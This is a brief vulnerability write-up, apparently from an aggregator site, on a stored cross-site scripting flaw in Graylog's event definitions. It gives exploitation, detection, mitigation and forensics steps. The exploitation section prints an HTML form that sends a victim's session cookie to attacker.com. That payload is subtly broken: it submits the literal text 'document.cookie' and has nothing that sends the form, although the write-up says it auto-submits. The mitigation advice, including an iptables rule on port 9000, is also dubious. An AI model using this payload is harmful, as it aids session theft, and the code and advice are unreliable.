Graylog, Cross-Site Scripting (XSS), CVE-2025-XXXX (High)

How the CVE Works

The vulnerability (CVE-2025-XXXX) in Graylog allows session hijacking due to insufficient HTML sanitization in the Event Definition Remediation Step field. An attacker with permissions to create event definitions can inject malicious HTML forms that capture user session cookies when viewed by another user with alert permissions. The attack requires an active input (e.g., HTTP, TCP raw, or syslog) to receive the stolen data. Since Graylog does not properly sanitize user-supplied HTML, the injected payload executes in the victim’s browser, exfiltrating session tokens and enabling account takeover.

DailyCVE Form

Platform: Graylog
Version: <=6.0.13, 6.1.0-6.1.9
Vulnerability: Stored XSS
Severity: High
Date: May 7, 2025

What Undercode Say:

Exploitation:

1. Craft Malicious Payload:


<form action="http://attacker.com/steal" method="POST">
<input type="hidden" name="cookie" value="document.cookie">
</form>

2. Inject via Event Definition:

Submit the payload in the Remediation Step field of a new Event Definition.

3. Trigger Execution:

When a victim views the alert, the form auto-submits their session cookie.

Detection:

grep -r "unsafeHTML" /graylog/web/ Locate vulnerable sanitization logic

Mitigation:

  1. Patch Immediately: Upgrade to Graylog 6.0.14 or 6.1.10.

2. Input Validation:

function sanitizeHTML(input) {
return DOMPurify.sanitize(input); // Use strict sanitization
}

3. Network Controls:

iptables -A INPUT -p tcp --dport 9000 -j DROP Block external inputs

Forensics:

cat /var/log/graylog/server.log | grep "EventDefinition" Audit suspicious creations

References:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top